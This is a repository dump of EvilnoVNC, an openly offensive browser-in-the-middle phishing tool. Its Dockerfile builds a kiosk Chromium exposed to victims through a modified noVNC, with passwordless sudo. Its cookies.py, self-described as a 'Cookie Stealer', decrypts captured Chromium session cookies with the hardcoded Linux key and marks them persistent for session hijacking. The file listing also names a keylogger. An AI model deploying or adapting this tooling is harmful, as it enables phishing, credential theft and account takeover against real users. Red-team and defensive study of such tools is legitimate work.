├── Downloads └── .deleteme ├── EvilnoVNC.png ├── Files ├── kiosk.zip ├── vnc_lite.html ├── keylogger.py ├── startVNC.sh ├── cookies.py ├── cursor.js ├── index.php └── ui.js ├── .github └── FUNDING.yml ├── Dockerfile ├── start.sh ├── README.md └── LICENSE /Downloads/.deleteme: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /EvilnoVNC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JoelGMSec/EvilnoVNC/HEAD/EvilnoVNC.png -------------------------------------------------------------------------------- /Files/kiosk.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JoelGMSec/EvilnoVNC/HEAD/Files/kiosk.zip -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: JoelGMSec 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 7 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 8 | liberapay: # Replace with a single Liberapay username 9 | issuehunt: # Replace with a single IssueHunt username 10 | otechie: # Replace with a single Otechie username 11 | custom: ['https://buymeacoff.ee/JoelGMSec','https://darkbyte.net/shop'] 12 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-slim 2 | LABEL maintainer="JoelGMSec - https://darkbyte.net" 3 | ENV DISPLAY=:1 4 | 5 | RUN apt update && apt install -y --no-install-recommends \ 6 | adduser unzip dbus-x11 procps sudo xfce4 xvfb x11-utils x11vnc jq \ 7 | xfce4-terminal chromium python3 python3-pip git curl gcc php socat wget && \ 8 | rm -rf /var/lib/apt/lists/* && \ 9 | ln -s /usr/bin/python3 /usr/bin/python && \ 10 | echo 'CHROMIUM_FLAGS="--disable-gpu --disable-software-rasterizer --kiosk \ 11 | --password-store=basic --start-fullscreen --noerrdialogs \ 12 | --no-first-run"' >> /etc/chromium/chromium.conf && \ 13 | dbus-uuidgen > /var/lib/dbus/machine-id 14 | 15 | RUN adduser --disabled-password --gecos "" user && \ 16 | echo 'user:user' | chpasswd && \ 17 | echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers 18 | 19 | USER user 20 | WORKDIR /home/user 21 | 22 | RUN mkdir -p /home/user/.vnc && \ 23 | x11vnc -storepasswd false /home/user/.vnc/passwd && \ 24 | git clone https://github.com/novnc/noVNC.git /home/user/noVNC && \ 25 | git clone https://github.com/novnc/websockify /home/user/noVNC/utils/websockify && \ 26 | sudo python3 -m pip install numpy --break-system-packages && \ 27 | sudo python3 -m pip install pyxhook --break-system-packages && \ 28 | sudo python3 -m pip install pycryptodome --break-system-packages 29 | 30 | COPY Files /home/user/ 31 | COPY Files/ui.js /home/user/noVNC/app/ 32 | COPY Files/vnc_lite.html /home/user/noVNC/ 33 | COPY Files/cursor.js /home/user/noVNC/core/util/ 34 | 35 | RUN sudo chmod +x /home/user/startVNC.sh && \ 36 | sed -i 's/rgb(40, 40, 40)/white/' /home/user/noVNC/core/rfb.js && \ 37 | sed -i 's/qualityLevel = 6/qualityLevel = 9/' /home/user/noVNC/core/rfb.js && \ 38 | sed -i 's/compressionLevel = 2/compressionLevel = 0/' /home/user/noVNC/core/rfb.js 39 | 40 | RUN wget "https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/Linux_x64%2F1231300%2Fchrome-linux.zip?generation=1701355787197325&alt=media" && \ 41 | unzip Linux_x64* && \ 42 | rm -f Linux_x64* 43 | 44 | ENTRYPOINT ["/bin/bash", "-c", "/home/user/startVNC.sh"] 45 | 46 | EXPOSE 80 47 | -------------------------------------------------------------------------------- /Files/vnc_lite.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

](https://www.buymeacoffee.com/joelgmsec)
93 |
--------------------------------------------------------------------------------
/Files/cookies.py:
--------------------------------------------------------------------------------
1 | # Cookie Stealer for EvilnoVNC
2 | # Code from: https://www.thepythoncode.com/article/extract-chrome-cookies-python
3 | # Decrypt function from: https://n8henrie.com/2014/05/decrypt-chrome-cookies-with-python
4 |
5 | import os
6 | import json
7 | import base64
8 | import sqlite3
9 | from datetime import datetime, timedelta
10 | from Crypto.Cipher import AES
11 | from Crypto.Protocol.KDF import PBKDF2
12 |
13 | def get_chrome_datetime(chromedate):
14 | """Return a `datetime.datetime` object from a chrome format datetime
15 | Since `chromedate` is formatted as the number of microseconds since January, 1601"""
16 | if chromedate != 86400000000 and chromedate:
17 | try:
18 | return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
19 | except Exception as e:
20 | print(f"Error: {e}, chromedate: {chromedate}")
21 | return chromedate
22 | else:
23 | return ""
24 |
25 | def decrypt_cookies(encrypted_value):
26 | # Function to get rid of padding
27 | def clean(x):
28 | if len(x) < 1:
29 | # if there aren't enough bytes...
30 | return ''
31 | return x[:-x[-1]].decode('utf8')
32 |
33 | # Trim off the 'v10' that Chrome/ium prepends
34 | encrypted_value = encrypted_value[3:]
35 |
36 | # Default values used by both Chrome and Chromium in OSX and Linux
37 | salt = b'saltysalt'
38 | iv = b' ' * 16
39 | length = 16
40 |
41 | # On Mac, replace MY_PASS with your password from Keychain
42 | # On Linux, replace MY_PASS with 'peanuts'
43 | my_pass = 'peanuts'
44 | my_pass = my_pass.encode('utf8')
45 |
46 | # 1003 on Mac, 1 on Linux
47 | iterations = 1
48 |
49 | key = PBKDF2(my_pass, salt, length, iterations)
50 | cipher = AES.new(key, AES.MODE_CBC, iv)
51 |
52 | decrypted = cipher.decrypt(encrypted_value)
53 | decrypted_value = (clean(decrypted))
54 | return decrypted_value
55 |
56 | def main():
57 | # local sqlite Chrome cookie database path
58 | filename = "Downloads/Default/Cookies"
59 | # connect to the database
60 | db = sqlite3.connect(filename)
61 | # ignore decoding errors
62 | db.text_factory = lambda b: b.decode(errors="ignore")
63 | cursor = db.cursor()
64 | # get the cookies from `cookies` table
65 | cursor.execute("""
66 | SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
67 | FROM cookies""")
68 | # you can also search by domain, e.g thepythoncode.com
69 | # cursor.execute("""
70 | # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
71 | # FROM cookies
72 | # WHERE host_key like '%thepythoncode.com%'""")
73 | # get the AES key
74 | for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
75 | if not value:
76 | decrypted_value = decrypt_cookies(encrypted_value)
77 | else:
78 | # already decrypted
79 | decrypted_value = value
80 | print(f"""
81 | Host: {host_key}
82 | Cookie name: {name}
83 | Cookie value (decrypted): {decrypted_value}
84 | Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
85 | Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
86 | Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
87 |
88 | ---------------------------------------------------------------""")
89 | # update the cookies table with the decrypted value
90 | # and make session cookie persistent
91 | cursor.execute("""
92 | UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
93 | WHERE host_key = ?
94 | AND name = ?""", (decrypted_value, host_key, name))
95 | # commit changes
96 | db.commit()
97 | # close connection
98 | db.close()
99 |
100 | if __name__ == "__main__":
101 | main()
--------------------------------------------------------------------------------
/Files/cursor.js:
--------------------------------------------------------------------------------
1 | /*
2 | * noVNC: HTML5 VNC client
3 | * Copyright (C) 2019 The noVNC Authors
4 | * Licensed under MPL 2.0 or any later version (see LICENSE.txt)
5 | */
6 |
7 | import { supportsCursorURIs, isTouchDevice } from './browser.js';
8 |
9 | const useFallback = !supportsCursorURIs || isTouchDevice;
10 |
11 | export default class Cursor {
12 | constructor() {
13 | this._target = null;
14 |
15 | this._canvas = document.createElement('canvas');
16 |
17 | if (useFallback) {
18 | this._canvas.style.position = 'fixed';
19 | this._canvas.style.zIndex = '65535';
20 | this._canvas.style.pointerEvents = 'none';
21 | // Can't use "display" because of Firefox bug #1445997
22 | this._canvas.style.visibility = 'hidden';
23 | }
24 |
25 | this._position = { x: 0, y: 0 };
26 | this._hotSpot = { x: 0, y: 0 };
27 |
28 | this._eventHandlers = {
29 | 'mouseover': this._handleMouseOver.bind(this),
30 | 'mouseleave': this._handleMouseLeave.bind(this),
31 | 'mousemove': this._handleMouseMove.bind(this),
32 | 'mouseup': this._handleMouseUp.bind(this),
33 | };
34 | }
35 |
36 | attach(target) {
37 | if (this._target) {
38 | this.detach();
39 | }
40 |
41 | this._target = target;
42 |
43 | if (useFallback) {
44 | document.body.appendChild(this._canvas);
45 |
46 | const options = { capture: true, passive: true };
47 | this._target.addEventListener('mouseover', this._eventHandlers.mouseover, options);
48 | this._target.addEventListener('mouseleave', this._eventHandlers.mouseleave, options);
49 | this._target.addEventListener('mousemove', this._eventHandlers.mousemove, options);
50 | this._target.addEventListener('mouseup', this._eventHandlers.mouseup, options);
51 | }
52 |
53 | this.clear();
54 | }
55 |
56 | detach() {
57 | if (!this._target) {
58 | return;
59 | }
60 |
61 | if (useFallback) {
62 | const options = { capture: true, passive: true };
63 | this._target.removeEventListener('mouseover', this._eventHandlers.mouseover, options);
64 | this._target.removeEventListener('mouseleave', this._eventHandlers.mouseleave, options);
65 | this._target.removeEventListener('mousemove', this._eventHandlers.mousemove, options);
66 | this._target.removeEventListener('mouseup', this._eventHandlers.mouseup, options);
67 |
68 | document.body.removeChild(this._canvas);
69 | }
70 |
71 | this._target = null;
72 | }
73 |
74 | change(rgba, hotx, hoty, w, h) {
75 | if ((w === 0) || (h === 0)) {
76 | this.clear();
77 | return;
78 | }
79 |
80 | this._position.x = this._position.x + this._hotSpot.x - hotx;
81 | this._position.y = this._position.y + this._hotSpot.y - hoty;
82 | this._hotSpot.x = hotx;
83 | this._hotSpot.y = hoty;
84 |
85 | let ctx = this._canvas.getContext('2d');
86 |
87 | this._canvas.width = w;
88 | this._canvas.height = h;
89 |
90 | let img = new ImageData(new Uint8ClampedArray(rgba), w, h);
91 | ctx.clearRect(0, 0, w, h);
92 | ctx.putImageData(img, 0, 0);
93 | }
94 |
95 | clear() {
96 | this._canvas.width = 0;
97 | this._canvas.height = 0;
98 | this._position.x = this._position.x + this._hotSpot.x;
99 | this._position.y = this._position.y + this._hotSpot.y;
100 | this._hotSpot.x = 0;
101 | this._hotSpot.y = 0;
102 | }
103 |
104 | // Mouse events might be emulated, this allows
105 | // moving the cursor in such cases
106 | move(clientX, clientY) {
107 | if (!useFallback) {
108 | return;
109 | }
110 | // clientX/clientY are relative the _visual viewport_,
111 | // but our position is relative the _layout viewport_,
112 | // so try to compensate when we can
113 | if (window.visualViewport) {
114 | this._position.x = clientX + window.visualViewport.offsetLeft;
115 | this._position.y = clientY + window.visualViewport.offsetTop;
116 | } else {
117 | this._position.x = clientX;
118 | this._position.y = clientY;
119 | }
120 | this._updatePosition();
121 | let target = document.elementFromPoint(clientX, clientY);
122 | this._updateVisibility(target);
123 | }
124 |
125 | _handleMouseOver(event) {
126 | // This event could be because we're entering the target, or
127 | // moving around amongst its sub elements. Let the move handler
128 | // sort things out.
129 | this._handleMouseMove(event);
130 | }
131 |
132 | _handleMouseLeave(event) {
133 | // Check if we should show the cursor on the element we are leaving to
134 | this._updateVisibility(event.relatedTarget);
135 | }
136 |
137 | _handleMouseMove(event) {
138 | this._updateVisibility(event.target);
139 |
140 | this._position.x = event.clientX - this._hotSpot.x;
141 | this._position.y = event.clientY - this._hotSpot.y;
142 |
143 | this._updatePosition();
144 | }
145 |
146 | _handleMouseUp(event) {
147 | // We might get this event because of a drag operation that
148 | // moved outside of the target. Check what's under the cursor
149 | // now and adjust visibility based on that.
150 | let target = document.elementFromPoint(event.clientX, event.clientY);
151 | this._updateVisibility(target);
152 |
153 | // Captures end with a mouseup but we can't know the event order of
154 | // mouseup vs releaseCapture.
155 | //
156 | // In the cases when releaseCapture comes first, the code above is
157 | // enough.
158 | //
159 | // In the cases when the mouseup comes first, we need wait for the
160 | // browser to flush all events and then check again if the cursor
161 | // should be visible.
162 | if (this._captureIsActive()) {
163 | window.setTimeout(() => {
164 | // We might have detached at this point
165 | if (!this._target) {
166 | return;
167 | }
168 | // Refresh the target from elementFromPoint since queued events
169 | // might have altered the DOM
170 | target = document.elementFromPoint(event.clientX,
171 | event.clientY);
172 | this._updateVisibility(target);
173 | }, 0);
174 | }
175 | }
176 |
177 | _showCursor() {
178 | if (this._canvas.style.visibility !== 'hidden') {
179 | this._canvas.style.visibility = '';
180 | }
181 | }
182 |
183 | _hideCursor() {
184 | if (this._canvas.style.visibility === 'hidden') {
185 | this._canvas.style.visibility = 'hidden';
186 | }
187 | }
188 |
189 | // Should we currently display the cursor?
190 | // (i.e. are we over the target, or a child of the target without a
191 | // different cursor set)
192 | _shouldShowCursor(target) {
193 | if (!target) {
194 | return false;
195 | }
196 | // Easy case
197 | if (target === this._target) {
198 | return true;
199 | }
200 | // Other part of the DOM?
201 | if (!this._target.contains(target)) {
202 | return false;
203 | }
204 | // Has the child its own cursor?
205 | // FIXME: How can we tell that a sub element has an
206 | // explicit "cursor: none;"?
207 | if (window.getComputedStyle(target).cursor !== 'none') {
208 | return false;
209 | }
210 | return true;
211 | }
212 |
213 | _updateVisibility(target) {
214 | // When the cursor target has capture we want to show the cursor.
215 | // So, if a capture is active - look at the captured element instead.
216 | if (this._captureIsActive()) {
217 | target = document.captureElement;
218 | }
219 | if (this._shouldShowCursor(target)) {
220 | this._showCursor();
221 | } else {
222 | this._hideCursor();
223 | }
224 | }
225 |
226 | _updatePosition() {
227 | this._canvas.style.left = this._position.x + "px";
228 | this._canvas.style.top = this._position.y + "px";
229 | }
230 |
231 | _captureIsActive() {
232 | return document.captureElement &&
233 | document.documentElement.contains(document.captureElement);
234 | }
235 | }
236 |
--------------------------------------------------------------------------------
/Files/index.php:
--------------------------------------------------------------------------------
1 |